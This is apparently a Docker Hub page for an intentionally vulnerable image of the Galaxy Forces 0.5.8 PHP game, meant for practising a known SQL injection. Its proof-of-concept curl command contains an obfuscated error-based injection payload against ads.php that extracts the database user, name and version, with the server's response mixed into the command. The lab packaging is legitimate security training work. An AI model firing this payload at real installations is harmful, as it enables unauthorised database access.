Sign inSign up

crb9146/galaxy_forces_sql_exploit

By crb9146

Updated over 3 years ago

Galaxy Forces MMORPG SQL Exploit

Image
0

292

crb9146/galaxy_forces_sql_exploit repository overview

Galaxy Forces MMORPG SQL Exploit

Galaxy Forces is a PHP web game where players build their colony and travel around space. This version, 0.5.8 has a known SQL vulnerability that can be exploited via a POST http request. This is a known vulnerable web application, so do not deploy this on any real system. This image is just a proof of concept of the exploit in a Docker container.

Exploit DB Link: https://www.exploit-db.com/exploits/45864

How to create your own image of this

  1. Add FROM crb9146/galaxy_forces_sql_exploit:latest to your dockerfile. Put this in a folder called galaxy
  2. Use the following docker-compose file:

version: '3' services: galaxy: network_mode: host build: ./galaxy ports: - 8080:80 volumes: - ./ServerFiles:/var/www/html

  1. Run sudo docker-compose up

How to Exploit (Proof of concept)

Send the following http request via curl:

curl -XPOST -d 'POST /PATH/ads.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: RID=d3fada0e6d425fdf; login=efe; salt=b5c59c9626445d978940049594f60c858642d268; agree=true Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 368 action=add&title=[Efe]&type=%27%7c%7c(SeleCT%20'%45%66%65'%20FroM%20duAL%20WheRE%20110%3d110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*)%2cConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT%28%31%31%32%3d%31%31%32%2c%31%29%29%29%2cFLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))%7c%7c%27&time=[Efe]&message=[Efe] HTTP/1.1 302 Found Date: Wed, 14 Nov 2018 15:12:30 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Set-Cookie: RID=44ff5c8a0c395f9b; expires=Wed, 14-Nov-2018 16:12:30 GMT; Max-Age=3600 Set-Cookie: login=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Set-Cookie: salt=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8' '127.0.0.1:8080'

Tag summary

Content type

Image

Digest

sha256:e9d7709db

Size

167.6 MB

Last updated

over 3 years ago

docker pull crb9146/galaxy_forces_sql_exploit